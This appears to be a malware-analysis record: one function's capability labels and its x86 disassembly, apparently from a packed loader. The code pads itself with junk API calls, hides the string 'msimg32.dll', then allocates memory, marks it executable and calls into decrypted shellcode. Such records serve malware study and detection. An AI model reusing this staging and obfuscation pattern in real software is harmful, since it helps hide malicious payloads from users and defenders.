Function at 0x472ef0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information
Manipulate console buffer
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2108
call fcn.004120f0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor esi, esi
cmp esi, 0x2d188
jge 0x472f26
push 0
push 0
push 0
call edi
cmp dword [0x8013e4], 0x6fb
jne 0x472f3a
push 0
push 0
push 0
call ebx
cmp esi, 0x1e9c812c
jle 0x472f54
cmp ebp, 0xc0be3c
je 0x472f54
cmp dword [esp + 0x4c], 0x924e840
jne 0x472f5f
inc esi
cmp esi, 0x7e59c
jl 0x472f16
jmp 0x472f7d
cmp dword [0x8013e4], 0x28
jne 0x472f7d
push 0x403f50
push 0x403f60
push 0x403f90
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
cmp dword [0x8013e4], 0xcf8
jne 0x472fd9
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
cmp dword [0x8013e4], 0x3a
jne 0x472fbc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
lea ecx, [esp + 0x918]
push ecx
push 0
push 0x403fa4
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push 0
push 0
call fcn.00407448
add esp, 8
lea edx, [esp + 0x68]
push edx
call fcn.00405570
push 0
call fcn.004079fc
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileType]
xor esi, esi
cmp esi, 0x408
jne 0x472ffa
mov eax, 0x5d1
add dword [0x8013e4], eax
cmp dword [0x8013e4], 0xca3
jne 0x47302d
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
push 0x403fe0
push eax
mov dword [esp + 0x28], eax
call edi
push 0
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x472fe7
mov ecx, dword [0x8013e4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x482434], eax
mov eax, dword [0x8013e4]
xor esi, esi
test eax, eax
je 0x473127
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
jmp 0x473070
cmp eax, 0xfe
jne 0x4730d6
push 0
lea edx, [esp + 0x11c]
push edx
call edi
push 0
push 0
call ebx
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
lea ecx, [esp + 0xd24]
push ecx
push eax
mov dword [esp + 0x28], eax
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
xor eax, eax
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
push edx
lea eax, [esp + 0x44]
push eax
push 0x403ff0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.004729d0
mov eax, dword [0x8013e4]
cmp eax, 0x29
jne 0x47311e
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push 0
push 0
lea ecx, [esp + 0x120]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov eax, dword [0x8013e4]
inc esi
cmp esi, eax
jb 0x473070
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov edi, 0x9682ab
cmp eax, 3
jne 0x47314a
push 0
push 0
push 0
push 0
push 0
push 0
call esi
mov eax, dword [0x8013e4]
dec edi
jne 0x473132
mov esi, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [esp + 0x14], 0x25887
lea ecx, [ecx]
mov dword [0x8013e0], 0xabebc05c
cmp eax, 0x222
jne 0x4731a5
push 0x404010
call esi
push 0
lea edx, [esp + 0x11c]
push edx
call edi
push 0
call ebp
push 0
push 0
push 0
call ebx
mov eax, dword [0x8013e4]
dec dword [esp + 0x14]
jne 0x473170
mov edx, dword [0x482434]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push eax
push edx
mov byte [0x47d6a0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00472ce0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalUnfix]
xor esi, esi
cmp dword [0x8013e4], 0xba
jne 0x473213
lea eax, [esp + 0x18]
push eax
call edi
push 0
push 0
push 0
push 0
call ebx
lea ecx, [esp + 0x40]
push ecx
call ebp
push 0x404034
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
cmp esi, 0x2f64
jne 0x473236
mov eax, 0
add dword [0x482434], eax
inc esi
cmp esi, 0x1605a
jl 0x4731e0
mov eax, 0x6d
mov word [0x8013ee], ax
mov eax, 0x6c
mov word [0x8013fc], ax
mov edx, 0x69
xor eax, eax
push 0x8013e8
mov dword [0x8013f8], 0x6c0064
mov dword [0x8013f4], 0x2e0032
mov word [0x8013ec], dx
mov dword [0x8013e8], 0x73006d
mov word [0x8013fe], ax
mov dword [0x8013f0], 0x330067
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x73
mov eax, 0x6d
mov word [0x8013ea], dx
mov word [0x8013ee], ax
xor eax, eax
cmp dword [0x8013e4], 0xc30
mov ecx, 0x33
mov edx, 0x67
mov word [0x8013f2], cx
mov word [0x8013fe], ax
mov word [0x8013f0], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
mov dword [0x8013f8], 0x6c0064
mov word [0x8013ec], ax
mov word [0x8013e8], cx
mov word [0x8013fc], dx
mov dword [0x8013f4], 0x2e0032
jne 0x47340d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [esp + 0x918]
push edx
push 0x404064
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
lea ecx, [esp + 0x151c]
push ecx
push 0x404080
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push 0
call dword [sym.imp.KERNEL32.dll__lclose]
push 0
lea edx, [esp + 0x18]
push edx
push 0
lea eax, [esp + 0xd24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x11c]
push ecx
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x40408c
call esi
push 0
lea eax, [esp + 0x191c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push 0x4040b4
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret